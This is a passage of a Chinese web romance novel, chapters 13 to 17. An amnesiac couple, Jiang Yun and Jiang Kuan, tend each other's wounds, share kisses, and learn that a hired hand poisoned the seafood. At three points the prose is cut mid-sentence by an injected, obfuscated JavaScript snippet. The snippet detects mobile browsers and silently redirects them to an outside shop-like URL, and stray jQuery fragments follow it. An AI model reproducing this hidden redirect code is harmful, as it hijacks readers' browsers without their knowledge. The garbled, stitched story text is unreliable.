江云陡然一怔。 她回头:“江阔,你身上的伤口是不是也发炎了?” 不然他怎么也会发烧? 回答她的依然是那句‘没事’。 “……” 江云默然,两秒后,她突然哼笑:“我觉得如果真的是我老公,应该不会把没事挂在嘴边。” 身侧的人沉默了。 怕冲击力不够,江云继续补充:“看来事实还有待考究,那在被证实之前,我们还是保持点距离吧。” “我帮你去把地铺要回来,弄脏了我付钱。” 江云的头稍微侧了过去,余光瞥见男人猛地转眸。 下一秒,他已经乖乖就范。 语速快得生怕耽误一秒:“没有很严重,就稍微有一点发炎,我已经涂过药了!” 背后的动作跟着停了。 伤口已经贴上了新的纱布。 江云想坐起来看看他的伤口,却在侧身时对上他湿漉漉的眸光。 深褐色的眼瞳像是浸在了清澈的泉水中,还隐隐泛着雾气。 到嘴的话突然变了:“你哭什么?” 她没说什么重话吧? 不就是让他睡地铺吗,这也要哭? 闻言,江阔神色稍稍不自然,手背尴尬地往眼眶迅速抹了抹。 “没有,眼睛有点不舒服。” 江云眯了眯眼,没有追问,直接撩开他的衣服。 熟悉的伤口横在他的腰腹,稍微红肿,原本结的痂也没了影,露出里头的粉肉。 江云也不敢碰,背后一阵鸡皮疙瘩。 他的伤口虽然在前面,但是比她的伤口长多了,从腰的最外侧一直蔓延到他的腹肌,差一点就到肚脐了。 江云睨了他一眼:“你就嘴硬!” 她以为仍然会换来他的沉默,可这人眼里的水雾骤然变浓,眼睑包裹的那两颗琥珀更加透亮。 他的声音微微变了,夹杂了些哽咽:“跟你的伤口比起来,我这个跟没伤没区别。” 他的手掌扣在了她的腰上,动作很轻,轻到江云几乎无感。 食管突然往上反着蜜饯的余甜。 江云低头瞥了眼他的手,又抬眸停在他的眼珠上。 声音带了些许上扬的尾调,她突然问:“江阔,你是因为我的伤口才哭?” 14. 13 男人一言不发,悄悄避开了她的视线。 江云却抬手直接掰过他的脸颊,强势对上他的眸光:“都当着我的面哭了,还不敢告诉我原因?” 这个角度,江云需要稍微垂眸。 他的面容却在她的眼底更加清晰。 她的唇浅浅一勾,补充道:“我老公应该不是一个敢做不敢当的人吧?” 明明是句调侃的话,气氛也还算轻松,可江阔眸底却越来越认真。 倏然,主动和被动的对象双双移位,江云被熟悉的怀抱拥住,他的话语伴随着温热的气息同时落下。 “是我的问题,没有照顾好你。” 他答非所问,江云却瞬间会意。 “你怎样说我都好,我只希望你能快些好起来。” 耳膜被有力的音节缓慢撞击,她的胸腹和他紧贴在一起,被牵起密密麻麻的震动。 江云先是一愣,大脑还没完全反应过来,嘴角已经不受控地往两边延起。 肺腔里又冒出了大量轻盈的泡泡,时不时往外破出浅甜。 背后他的手掌轻轻停留,完全避开她伤口的部位,江云竟觉得伤口的烧灼感退了许多,也没那么痛了。 她回抱他,也学起他的模样,在他坚阔的背脊轻抚几下。 又道:“我也想快些好起来,不过…我希望我们是一起好起来。” 很简单的一句话,江云没有解释,可她相信江阔能听懂。 “我答应你。” 两秒的静默后,江阔的声音在她耳边清晰响起。 江云从他的怀抱里绕出来,语气已经心安理得,十分干脆道:“那就赶快喝药吧,江先生?” 江云指着床头放着的那碗药道。 之前江阔总是在萍姐店里把药喝完才回来,但今晚江阔没去店里,是萍姐把药送过来的,只是这人一心顾及江云,一定要等她上完药再说。 江阔眉眼松动,二话不说拿起药,一口闷了下去。 余苦停留在舌尖,他也只是微微皱眉。 江云的视线从他脸上扫过,拿了蜜饯罐子,从里头挑了一颗出来,什么都没问,直接送到他嘴边:“吃一颗。” 江阔微顿,眼神在嘴边的柔荑停过,冒出一丝欣喜,又望向她,最后张嘴,含入那颗蜜饯。 唇口残留一点莹亮的甜丝,他又迅速舔了舔。 他细微的动作全被江云收入眼底。 目光不自觉停留在了那张正在咀嚼又轻轻闭起的唇上。 他唇上的蜜像是有黏着度一般,牢牢地粘住了她的双眸。 江云偷偷做了两下吞咽动作。 不知怎的,颈前的竹音哨隐隐发烫。 大脑自动回忆起不久前的场景和想法—— 他陷入沉睡中,而她侧起望他,想象着和他接吻是什么滋味…… 耳边原本能被忽略的海浪声突然急促又清晰,似乎是海底藏着的躁动因子陡然爆发,推着海水疯狂前扑。 她…有点想知道那是什么滋味。 想试试。 血液在体内流淌的速度加快,身体被激素控制,比灵魂先行一步。 等神魄追上身体时,江云的瞳孔狠狠缩紧—— 她的唇已经落在了微甜的薄唇上。 江云没有闭眼,清清楚楚地看到了江阔直愣的眸底,也感受到了他微颤的薄唇,咀嚼的动作也跟着停了。 他的气息停滞了一瞬,随后便如愈发凶猛的海浪一般,迅速占据她的呼吸道。 蜜饯的甜丝从她微张的嘴唇往里面沁。 江云还在感受陌生的感觉,一时忘了移开。 只觉得……好甜。 甜意毫无顾忌地冲往心口。 更甜了。 原来这就是她和江阔接吻的感觉吗? 只是她没有回忆起以前的感觉。 但…又觉得好奇妙。 酥酥麻麻的,唇上像是有电流窜过,又有气息喷洒,痒痒的。 心脏不知道什么时候加快了速度跳动,江云感觉脸颊有些热。 眼前的瞳眸和她对视良久,她终于有些遭不住,从他的唇上挪开。 男人的身体还僵着,半天没有反应。 江云的唇往内收了收,清嗓道:“就是…给你的一个奖励吻。” 她尚且稳住神情,想要掩盖自己真实的目的。 然而她忘了,这人是个单耳戴耳钉的闷骚怪。 闷骚怪只怔了短短的半分钟,紧随而来的,是又一次出乎江云意料的言辞:“我没感受清楚,再来一次吧?” “……” 话音落下的那一刻,江云的从容已经没了踪影,耳边的海浪声速度更快、力度更凶,仿佛下一秒就要冲到他们房间门口。 她的脸火辣辣的发烫,两只手攥紧了身侧的衣角,直言拒绝:“想得美!” “我想你,不想得美。”男人的话更出意料,不等她开口,他又补充:“而且不是给我的奖励吻?是不是得让我清楚感受到才行?” 他说得一本正经,两只温润的眼眸状似无辜地望着她,薄唇微动,完全一副‘正人君子’模样。 然而他的身体已经有了往她身前凑近的趋势。 “你这是……” 江云还欲辩驳,男人却倏然往前,两手自然而然地托起她的下巴,直直地吻了上来,把她没说完的话尽数吞入腹中。 “唔……” 江云的反应完全不同于她自己主动。 漆黑的瞳仁瞬间缩紧,没有了再缩的余地,心脏猛地往胸壁一撞,在那堵他铸造起来的‘安全感’的围墙里无头乱跳,毫无章法。 双颊的火辣不仅没有褪去,反而更加强烈,仿佛要烧掉一层皮才肯罢休。 男人的动作也和她的浅尝辄止截然相反。 似乎是试探了太久、等待了太久,她的主动便轻易能挑起他的激情。 热得发烫的吮吻将整张唇毫无保留地点起了火,舌尖又在她微微失守时,直接往里探去,残留的蜜甜很快席卷她的口腔。 等甜意散尽,他又缠着她不放,等她快适应了,又以退为进,化主动为被动,接着新一轮的你来我往。 江云在他吻过来的半分钟后已经回神了,她是想推开的,却又发觉好像也没有特别想推开。 他的吻和他的人一样,很温柔,又有点不一样,在温柔之余多了点强横,不让她轻易离开。 她并不反感,口腔里的甜意更浓,便更不想推开他。 更甚于,江云压根没想到他会以退为进,先给了她甜头,又往后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958110|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退,让她下意识追上来,主动权不停在两人唇中交转,最后只得更缠绵、更不想停下。 江云隐隐觉得熟悉。 好像以前也有人常对她使用这一招。 应该就是他。 所以她不是没有感觉,是需要更强烈的刺激。 身体越来越热,江云已经沉浸在这个吻里,漆黑的眸染了水光,最后覆盖于眼睑下。 双手也不知道什么时候抱住了男人。 原来这才是他们接吻的感觉。 江云想,她一定是喜欢这个男人的,否则她不会有这般强烈的心动。 就算此前再不确定,此刻她也再没有任何困惑了。既然记忆不能回答她,那身体的反应就是最好的答案。 缠绵的气息混入了强劲的海浪中,暧昧的声响让人难以忽视,加剧了一切的躁动因子。 原本清冷的月光也被浸染,披上了一层温柔的外衣。 江云不知道过了多久。 好像长达一个世纪,又仿佛短至一霎那。 他们终于停止了追逐,微红的唇张开些许,甜腻的气息混杂,分不清彼此。 江阔的手从她的下巴移至脖颈,稳稳地扣住她的后颈,好让她暂时离不开他。 视线交织,江云的心跳仍未平复,男人的心跳亦如此,他强劲的脉搏正紧贴着她的脖颈。 气氛稍微尴尬,他们却毫不躲避地对视,急切地在彼此的眸中探寻、确定着什么。 微喘的气息未曾停止,江云看到江阔的唇动了动:“云云,熟悉吗?” 江云心口一紧。 悸动更明显。 他们都在寻求那一份‘身体本能’。 而他问出口,就说明他也觉得这个吻很熟悉。 仅有的一丝尴尬消失,江云虽然害羞,却也点了头,幅度虽然小,却被男人清晰捕捉。 很快,他笑了。 温和的笑推散了海浪的凶猛,归还了夜晚的柔和。 就在江云以为他要松开她的时候,闷骚怪又语出惊她了:“这个吻是不是很甜?” “……” 仅仅一秒,江云快要减淡的热烫便重新席卷,火辣已经波及皮下组织,她忙地推开他,对这个问题避而不答。 可闷骚怪又穷追不舍:“每天都给我一个奖励好不好?” 江云狠狠剜他一眼,那人脸颊和耳根微红,面上却一副老成持重的模样。 她真的很好奇他到底怎么做到摆出这种表情说这些话的。 更别说他前不久还在为她掉眼泪。 “江阔,你以前是不是也这么不要脸?”江云已经无暇去回味接吻的缱绻,不住瘪唇槽道。 江阔不以为然,混不承认,说这不叫不要脸。 “叫厚脸皮也可以。”江云又道。 他终于‘纠正’:“这叫缠绵。” 不等江云开口,他又说:“我很喜欢,而且我知道,你也喜欢。” “……” 火辣已经渗透到面部肌肉,这张脸江云突然不想要了。 不等她想出辩驳的词,男人又给了她最后一击:“我不贪心的,你想做的所有事我都一定安排好,我就只要一点小小的奖励,一天吻一次就够。” “答应我吧,老婆?” 15. 14 脸上已经不单单是火辣,江云感觉仿佛无形中有一只强力的大手撕开了她的脸皮,藏在里头的羞意瞬间无处可躲。 身体下意识往后缩,却被江阔的手掌暂时禁锢。 “你…你乱叫什么?” 弥漫了些许水光的黑瞳慌乱躲避他的视线,江云的声音也跟着变小了,话语更失了连贯。 她刚刚应该克制一下自己的。 她想过他也许会得寸进尺,可没想到他会进得这么多。 他的以退为进,分明是只退一个假动作,然后往前进无数步。 她还是把他想简单了。 江阔似乎也是为了印证她的想法,持续发力:“我没有乱叫,你就是我老婆,要么我们本来就领了证,要么也只差领证了,反正我肯定是要娶你的!” “你松开我……” 江云不接茬,两只手扣在他的手背,想把他拉开,却完全不奏效。 “你先答应我,老婆……”他的话语还是温温柔柔,动作却略带强横。 “……” 那两个字十分精准地往她胸口上撞,浓烈的羞赧从胸腔往上鼓胀,仿佛再用力一点,就要撑破天灵盖。 江云担心再听到意料之外的话,在他开口前,妥协了。 脖颈上的禁锢终于消失,她才抬头斜了眼那人,发现他弯着眉眼望着她,笑得正欢。 江云一时气急败坏,瞪了他一眼。可江阔丝毫不介意,眼底的笑意快要溢满。 “我去帮你倒水擦身子!”他的声音柔和又愉悦,带着显而易见的余甜。 “我很快回来,等我啊,老婆!” 这声‘老婆’又一次撞到了江云的心口,还未平复的心跳乍然漏停一拍,她紧抿着唇,又狠狠剜了一眼男人。 只不过脸颊飘上来的两朵红云已经出卖了她,嘴角的肌肉也因为极力反抗上扬的趋势而微微抽搐。 一分钟后,肌肉的抽搐终于停止,心跳的频率也恢复了些,她动了动身子,隐隐发热,好在伤口不疼,她又松了口气。 掌心捏紧散着余热的竹音哨,盯紧刻在尾端的字母,江云小声嘀咕:“诡计多端的闷骚怪!” 她却没注意到,嘴边已经漫出了笑。 …… 隔天中午,江云听说检测结果已经拿回来了。 那些海鲜是被金葡菌感染,除了接触海鲜的人可能存在皮肤感染的情况,就是有人故意往水里倒细菌水。 “金葡菌感染?”江云皱眉。 江阔点头:“应该是他们家养海鲜的那群人有皮肤感染,萍姐本来要去报警,是江谦去求了书记来调和,让萍姐再给他两天时间,说一定查出是怎么一回事。” 两天后如果还没个结果,他就彻底认了。 萍姐到底还是松口了。 据江阔了解到的消息,江谦也对海鲜出问题十分意外。他说每一个环节都是他亲自下手的,每天送到萍姐这里的海鲜也是他亲自装箱,他全身上下都不存在皮肤感染,更别说碰海鲜的手一直干干净净。 他说他也觉得蹊跷,这三年他们家也不是没有对外销售海鲜,分明一次都没有出过问题,偏偏两次出事都是在萍姐这里。 “希望真的能查清楚吧。”江云说。 如果这事背后真的有隐情,查清楚没准也能扫清江晴和江醇之间的阻碍。 江阔的语气突然笃定:“你放心,肯定会查清的。” 江云以为他又是惯用的语气,没太在意,点了点头。 …… 江云因为身上的伤口不得不继续留在房间休养,江阔担心她无聊,特地问萍姐拿了几本书过来。 “这几本书我看过,还不错,可以用来打发打发时间。” 他又找了张小桌子,给江云支在了床上。床头提前备好了温水和零嘴,全都触手可得,不用她怎么动。 “你确定你还好吗?”在江阔打算离开前,江云还是问了一嘴。 他按例去萍姐那里帮忙,可他才退烧。 江阔摇头,说自己完全没问题。 再三确认他的精神状态确实还不错之后,江云也没拦着他了。 休养的时间确实难捱,尤其是在不怎么能接触到外界信息的时候。 江云只坐了五分钟,便已经没什么耐心了。 她很干脆地拿了一本书翻看起来。 开篇的一句话便让她犹豫着要不要继续看下去。 她退回去重新看了眼书名。 这是一本外国文学,伍绮诗的《无声告白》。 湖蓝色的书封面有一个黄色的条框,工整印刷的那行字缓慢映入眼底。 江云不知道为什么,心脏莫名抽动了两下。 情绪瞬时有些低落,说不上来的闷。 三秒后,她又重新回到文章的第一句话。 “莉迪亚死了,可他们还不知道。” 江云还是选择了继续往下看。 不知不觉已经看进去了。 房间的窗户半开,金闪闪的阳光洒在米白色的纸页,数十行黑色的印刷体越看越觉得刺眼。 江云却无法停下来,注意力被这些文字深深牵动,直至将她完全带入这个故事里。 她不动声色地翻了一页又一页,心口的沉闷愈发浓烈。 从字里行间读出来主人公是处于一个怎样的家庭氛围后,她竟莫名其妙地产生了共鸣。 因为来自于家庭中的情感束缚而共鸣。 江云陡然坐直了身子,从书里抽身。 天边的金盘已经移了位,落在纸页的光线也不知道什么时候消失了,只有那些文字依然刺眼。 江云转眸,盯着空无一物的床尾,霎时出神,思绪被海风无声卷走,留下一片空白。 她怔了足足有三分钟。 为什么? 脑海中滞后的冒出这般疑问。 眉头悄然拧紧,江云的目光回到那本书上,那些文字却骤然失了逻辑,落在眼底成了她完全看不懂的字句。 她没办法再往下读。 为什么? 大脑再一次产生疑问。 眉心的皮肤微微发僵。 是因为她也曾受到来自于家庭的情感束缚? 可她从始至终认为,她是一个不受约束的人。 是失忆带给她的错觉? 心底再次陷入熟悉的空虚,那些被她找回来的少许自我在刹那间竟全部消失了。 陌生的恐慌从她无法窥及的心底深处绵延而上,留存在了她身体的各个角落。江云突然觉得头好疼,左手下意识抵着太阳穴,漆黑的眸被紧紧囚禁在紧锁的眉眼中。 她撑着桌子,身体惯性做起了深呼吸,试图以这种方式来平复情绪。 “你是我选定的继承人,我不希望你像你哥一样,明白吗?” 脑海中乍然忆起这样一句话,江云猛地一个激灵,倏然睁开眼。 腰后的伤口很快顶出剧烈的疼痛,好似有一条火蛇缠绕在她的腰背,不断舔舐她的伤口,引起凶猛的烧灼感。 江云疼出了生理性泪水,嘴唇微张,大口大口喘息,眉头拧得更紧,像是要在眉心留下不可磨灭的痕迹。 那是谁? 是谁的声音? 沉重又严厉,带着微微的嘶哑,还有些苍老。 是她的爷爷?亦或是她的外公?还是她的哪一位长辈? 继承人? 她继承了什么? 她还有哥哥吗? 她的哥哥又怎么了? 短短的一句话中藏着许多疑问,毫无约束地涌至脑际,江云一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958111|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸不畅,湿润也从眼角掉了出来,落在了还没合上的纸页,洇出了深色的湿痕。 她的瞳孔紧跟着一缩,抬手胡乱抹掉了湿迹,又果断地合上了那本书。 她想把桌子推到身侧去,动作却不遂愿,反而是那本书被覆下了桌。 空荡的房间内发出沉闷一响。 与此同时,木门也被推开了。 江阔的话刚到嘴边,就被这声闷响打了回去。 脚步停滞片刻,随后迅速进屋,先把手里的东西放下,又疾速到床边。 看到江云眼角停留的泪痕,又是这样痛苦的神色,江阔的语气跟着染上担忧:“云云,你怎么了?” 话音刚落,江阔也才坐稳,床上的人一句话都没说,直接朝着他扑过来,两只胳膊紧紧缠绕在他的颈间,颤抖的呼吸即刻落在他的肩口。 “云云……” “你先别说话!”江阔才开口,便被她极速打断:“不要说话。” 男人脸上的担忧未褪,却听了她的话,只是动作轻缓地回抱着她。 江云在他身上极力吸吮着那股熟悉的味道,从他的肩头,到颈窝,再到耳垂。 好在他强劲的脉搏激发了他拥有的味道。 她紧攀着他,消除了身体之间的最后一丝缝隙,加剧了竹音哨的存在感。 心底的空虚终于被重新填补。 陌生的恐惧也跟着消失。 江云的心终于安定下来。 她松开了江阔。 “云云,到底怎么了?”江阔又问了一次。 半垂的眼皮仿佛有千斤重,江云好不容易才抬起眸。 眼前的人眸中闪着几分怜惜,还在等待她的回答。 江云停顿了许久,感官的意识回笼,周遭的声音覆盖了那道苍老的声音,清新的空气重新留回身体,熟悉的饭香味也紧随其后。 她摇了摇头。 说自己只是看那本书看得太投入,觉得有些难受而已。 她不想让江阔担心。 更确切来说,她有些不想让江阔知道她的恐惧。 江阔凝着她,深褐色的眼瞳温柔如旧。 他什么都没有问。 只是捡起了那本书,说:“有时候看书确实容易看上头,别想了,明天换一本书看?” 江云扯了扯唇,牵出了一抹浅笑。 她没回答,看向桌上的饭:“我饿了。” “好。”江阔把饭送到她跟前,在小桌的另一侧陪着她一起吃。 江云的情绪在这顿饭进肚之后也完全消散。 她短暂注视眼前的男人,不再去想那句扰乱情绪的话,换了轻松的话题:“我们这些天都没有去看白白,它会不会饿到了?” 江阔笑笑:“没事,我已经去过了。” “去过了?”江云稍稍惊讶。 江阔点头,说他找了点吃的和水,送到了它的小窝,能管两三天,两三天之后他再去一趟。 江云没想到他连这个也安排好了。 “那萍姐他们那边怎么样了?”江云又换了个话题。 “还没结果。” 气氛干巴巴的,江云绞尽脑汁,想快些转移注意力,却又想不出什么话题来。 是江阔开了口:“先歇会,我去给你煮药。” 然后离开房间。 江云暗暗松了口气。 不知道自己这样做是好还是不好。 转念一想,她其实只想给自己留些隐私,夫妻之间也并不一定要知道彼此所有的事。 搁在腿间的手指下意识绕在了一起,她低声自语:“我和他之间,还是多点开心的事就好。” 江云不知道的是,出了门的江阔没有很快就走,他倚在她看不到的墙边,完完全全听到了她说出口的话。 16. 15 江阔端着煮好的药回来时,又拿了一罐新的蜜饯。 看着和之前的有些不一样。 “萍姐换新配方了?”江云主动拿过那罐蜜饯,想尝尝味道。 江阔却道:“这个是我做的,你尝尝。” 江云眼底闪过一抹震惊,却又想到他会做饭,也不足为奇,她随口问:“你怎么想起做这个了?” “总是吃一种也腻了,换换口味,你应该会喜欢。” 江云打开罐盖,看到里头混杂的好几种果干,惊喜抬眸,恰好对上那人一贯温情脉脉的双眼。 她勾了勾唇,又细细数去:除了之前萍姐常做的蜜桃干,还加了芒果干和蜜橘干。 “你加了新的?” 江阔嗯了一声,说芒果干是酸甜口的,蜜橘比蜜桃清爽一些,不至于整罐蜜饯吃多了发齁。 江云捻了块芒果干送进嘴里,微酸的甜口很快包裹住舌尖,刺激味蕾,她朝着江阔满意点头:“新口味确实挺不错。” 她又哼笑,故意调侃了句:“那我万一哪天对你腻了怎么办?你给我加新人吗?” 这话一出,江阔的柔和收敛了几分,短暂的怔愣后,看出她是刻意玩笑,又轻笑一声。 他的声音带了点上扬的尾调,淌出了几分慵懒:“我不会让你腻的,如果你真想加人,我不介意让你一个当多个用。” 后半句话出口时,他的笑变质了。 江云脸颊一热,欲言又止。 她不知道自己有没有会错,这句话听上去实在是不怎么正经。 江云噤了声,一口苦药一口蜜饯。 最后一口蜜饯吃进嘴里,她恍然注意到江阔略带深意的目光—— 他正盯着蜜饯罐子。 江云把东西递过去:“吃一个?” 江阔摇头,说这是专门给她吃的。 “你昨天不也吃了?”江云是觉得食物大家都能吃,没必要分。 江阔却答:“我吃的是萍姐做的,你吃的是我做的。” 江云不解:“有区别吗?” 男人脸上突然露出一抹邪笑。 江云有种不好的预感。 事实证明,她永远都猜不到这个闷骚怪在想什么。 等她把蜜饯咽了下去,他才缓缓开口:“我忘了说,专门给你做的蜜饯要收点东西。” 话虽那么说,神情却跟忘了说沾不上边。 江云微愣,警惕地瞟了眼手里的罐子。 “什么?” 他继续:“一个蜜饯,一个吻,不能跟奖励吻抵消。” “……” 江云瞬时哑口无言,脑海一片混沌,已经想不出用什么话来骂他。 她几乎是想立刻甩开手里的罐子,江阔却提前预判,挡住了她的动作,不慌不忙补充:“你刚刚吃了12个,我记下了,加上今天的奖励吻,你一共欠我13个吻。” “……” 她能不能把吃进去的蜜饯吐出来? 原来不仅不能随便吃陌生人的东西,老公给的东西也不能乱吃! 她都不知道他哪里来的这些完全出乎她意料的想法。 “江阔。”江云几乎是咬着牙开口。 偏偏那人丝毫不惧。 “你有没有觉得自己很像莲藕?”她蹙着眉,嘴角扯出平笑。 偏偏那人依然不正经:“为什么?因为你最喜欢吗?” 江云实在受不了,抬手给了他一巴掌,推在了他的脑门上,然后才给了他答案:“因为心眼子多!” 她火速把手里的蜜饯还给他,说她以后就吃萍姐做的。 可男人却还留有后招,说他专门从萍姐那里揽下了这活,以后的蜜饯都由他来做,至于桌上剩下的一点,是他今晚的辅料。 江云盯着萍姐做的那罐蜜饯,里头少说还有二十个蜜饯,她忍不住提声质问:“你喝药吃这么多?!你不是不怕苦吗?” 就连昨天吃的那个还是她喂的。 江阔笑得更邪,温柔混杂在其中,又带出了别样的魅力,他耸耸肩:“没办法——” 他故意延长话音,直勾勾地望着她,说:“最近嗜甜。” “……” 江云彻底被他折服了。 他已经不是闷骚,是明骚了,在她面前像是已经没想过遮掩了。 江云瘪了瘪唇,又面露难色地望向他,还是问了出口:“你要那么多吻做什么?你想把嘴亲肿?” “当然不是。”男人往她跟前凑了凑,解释:“这蜜饯你只在喝药的时候才会吃,总有不喝药的那天,累积的吻咱们日后慢慢算。” 江云突然明白了。 原来是在这等着她。 他这意思是要展开拉锯战,就算一天吻一次,那也得好长时间。 相当于变相绑定她了。 她又瞥他一眼,蹙起的眉平展开,心底闪过一丝窃喜。 可没等她喜够,男人又道:“不过你之后如果想吃,我还是会给你做的,条件不变,我给你做一辈子都行!” 还是喜早了。 江云睨他一眼,‘嘁’了一声:“谁稀罕。” 暗自腹诽:他就是个对她诡计多端的闷骚怪! 唇角却不自觉上扬。 “谁稀罕?”江阔重复她的话,又环开双臂圈住她:“当然是我老婆稀罕!” 江云挣扎了几下,没挣开,又用胳膊肘顶人:“你好烦!” …… 月色朦胧,他们以熟悉的姿势相拥,准备入眠。 江云枕在熟悉的肌肉上,挠了挠下巴,又悄悄窥视近在眼前的人。 她不解:他不是要奖励吻?这也还没要啊。 而且怎么换了身衣服进房间之后,他的神情也变了? 完全没了刚才的腔不搭调,仿佛那段不正经只是他演出来的。 江云的思绪瞬间被他全占了去。 不过她自然也不会问出口。 索吻这种事,还是更适合他。 她的视线没急着收回,又下意识咬了咬唇。 就在这时,江阔的目光不偏不倚地迎了上来。 江云轻轻一激灵,慌乱避开,咬唇的动作不仅忘了松,反而咬得更紧。 “今晚想聊什么?”江阔是盯着她看了一会才问的这话。 江云暗暗松了口气—— 她没露馅。 “我……没想好。”江云如实回答。 江阔又静默了两秒,然后说:“那就聊聊,我们以后想成为一个怎样的人,好不好?” 江云微顿。 成为一个怎样的人? 他怎么会突然说起这个? 脑海中无意蹦出下午看的那本书,回想起书里的内容。 江云陷入了沉默。 身侧的人不知是否察觉到她的异样,泰然开口:“没想好吗?那我先来说吧。” 江云还是不说话。 紧接着男人的声音缓步凑近,她左手轻搭的胸膛微微震动:“虽然我不记得以前,但以后,我想做一个温柔细心、有耐心、认真负责、爱干净的人,能做自己喜欢的事,有一份喜欢的事业,最重要的是,能够多爱你一点。” 他说出口的每一个字,江云都听进去了。 原本模糊的答案好像有点清晰了。 “云云,该你了。”很长时间没等到她的回答,江阔轻轻摇了摇她,语气温柔如水。 江云感觉有很多话,已经到了嘴边,又吞了回去,再冒上来,又吞回去。 几个来回之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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酣畅的笑意从头顶传来,肩头的温度更热,男人稍微侧身,把她整个人圈住,脸上还留着享受的悦色。 …… 江云是被频繁的哄闹声吵醒的。 她伸手推开了窗,外头刺眼的阳光泼进来,她下意识眯着眼,蹙眉往外看。 只听得见声,看不见人。 “我tm跟你什么仇什么怨?!书记,你也看到了!证据已经摆在这里了!就是因为他,我们家被冤枉三年!” 好像是萍姐以前的男朋友的声音。 意识还有些混沌,双眸暂且适应了窗外的亮光,江云又转头看了眼时间。 她才午睡了二十分钟。 江云才撑着床坐起来,那道熟悉的声音又冲过来,她不自觉回想起那天在店里见到的那身凶悍的腱子肉。 “这事绝对不能就这么算了!他这是恶意陷害!如果不是江萍及时发现,现在指不定就有两条人命了!” 江云稍稍错愕。 恶意陷害? 那些海鲜出问题是有人恶意陷害吗? 那声音远了些,江云已经听不清,只闻得见模糊的争闹,风浪一阵又一阵,把声音吹得越来越远。 江云想下床去看看情况,脚才伸出去,房间门突然被敲了两下。 是江晴的声音:“江云,是我,方便进来吗?” 江云又收回了脚,对门外应了声“方便”。 江晴一改此前的消颓,完全一副精神焕发的模样,面色红润,唇角带笑,连脚步都轻盈了不少。 “你醒啦?”她的声音也带着雀跃的尾调。 江云微怔,点头笑笑,问她是不是有事。 “也没有,是江阔让我过来叫你起床,说午睡不要睡太久。” “他人呢?”江云问,手指又朝向窗外:“我刚刚听见外面有人在吵,是发生什么事了?” 17. 16 “江阔在店里,刚才那是江叔叔和我妈找了书记过来,说要把老刘送去警局。”江晴解释。 老刘? 江云没听说过这人。 江晴没急着走,索性在床边坐下,给江云好好解释了一通。 原来那批海鲜出问题,是一个彻头彻尾的误会。 老刘是江醇家里的帮工,因为身体残疾,被江醇的二伯江谦好心收留。 这些年一直在江醇家帮忙养水产,可谁知道,江谦的好心成了隐患。 老刘非但不懂感恩,而且一直嫉妒江谦。 他又一直对江萍有好感,可江萍虽然死了丈夫,却也经营着一家小饭店,好歹也算是江渔村过得比较好的那一批人。 老刘没那个勇气表白,却也不想江萍和江谦在一起。 三年前,江萍店里的海鲜全都是江谦供给,老刘便趁此机会破坏水质,造成了那次的食物中毒事件。 前不久,又因为江晴和江醇的事,三年都不来往的江萍和江谦又重新为了孩子有联系,江谦甚至频繁往江萍这里送海鲜,关键江萍全都接受了。 老刘以为他们要复合,又起了歹心,食物中毒事件差一点再次上演。 江云终于明白,江晴一改消颓的原因。 所以造成事故的不是江谦,更无关江醇,他们之间所谓的隔着人命的仇恨也就不复存在,就算他们要在一起,也能够是心安理得、不被任何人反对的。 “怎么查出来是他的?他自己承认了?”江云又问。 提及此,江晴扣上了江云的手背,语调提高了几分,带着些许激动的轻颤:“这个呀,说起来还得感谢江阔!” 江云眼瞳微瞪,对这个答案出乎意料:“江阔?” 江晴连声点头:“是他去找了江叔叔,说可以先排查一遍家里雇的帮工有没有人瞒着皮肤感染的,果然一查就查出来了。” 江云没来得及思考江阔为什么会去找江谦这个问题,江晴又补充道:“而且江阔还说,他一定会帮着找出罪魁祸首,这件事也绝对不能轻易算了。” “我猜他肯定是为了你,都是因为海鲜的事,你又是发烧又是下不了床的,你昏厥的那两天我看他都快急死了!” 江云没说话。 江晴脸上的喜色仍然未消,她两只手裹住江云,高扬的语调又平缓了几分,眸中的浓云全部散开,只剩璀璨动人的晴。 “江云,你那天说的没错,一切都会好起来的,命运也真的没有亏待我。” 江云扬唇笑了笑,也是真的为她开心。 那些原本横亘的担忧和痛苦,现在看来也不过是乌龙。 江晴又说:“江云,你放心吧,你和江阔也一定能够一直幸运下去的!你们伤好之后肯定也能很快恢复记忆,命运是不会捉弄相爱的人的!” …… 江晴出去了。 江云却还在回味着她说的那句话。 她和江阔也一定能够一直幸运下去。 命运不会捉弄相爱的人。 江云的目光不知不觉落在了不远处翻涌的碎金上,无数金光流入漆黑的眼底,托出了两颗纯净的黑曜石。 她的神情十分放松。 双眼有些累了,又无声收回视线,搁在腿上的两只手慢慢摩挲。 江云突然低哼一声。 那她得努努力,尽量快些想起过去。 想起那些……她爱他的时光。 相爱…… 他们真正相爱的模样,她还真的挺想知道。 大脑又回想起那个梦,那个属于他们的、温馨的家。 她好想快些回去那个家。 嘴边的弧度不自觉加深,喉间溢出很轻的一声笑。 江云深吸了口气,午间的困意从身体抽离,她想拿昨天那本书继续看。 然而手伸到床头之后,她顿然一愣—— 那本《无声告白》不见了踪影。 只有另外的几本经典名著。 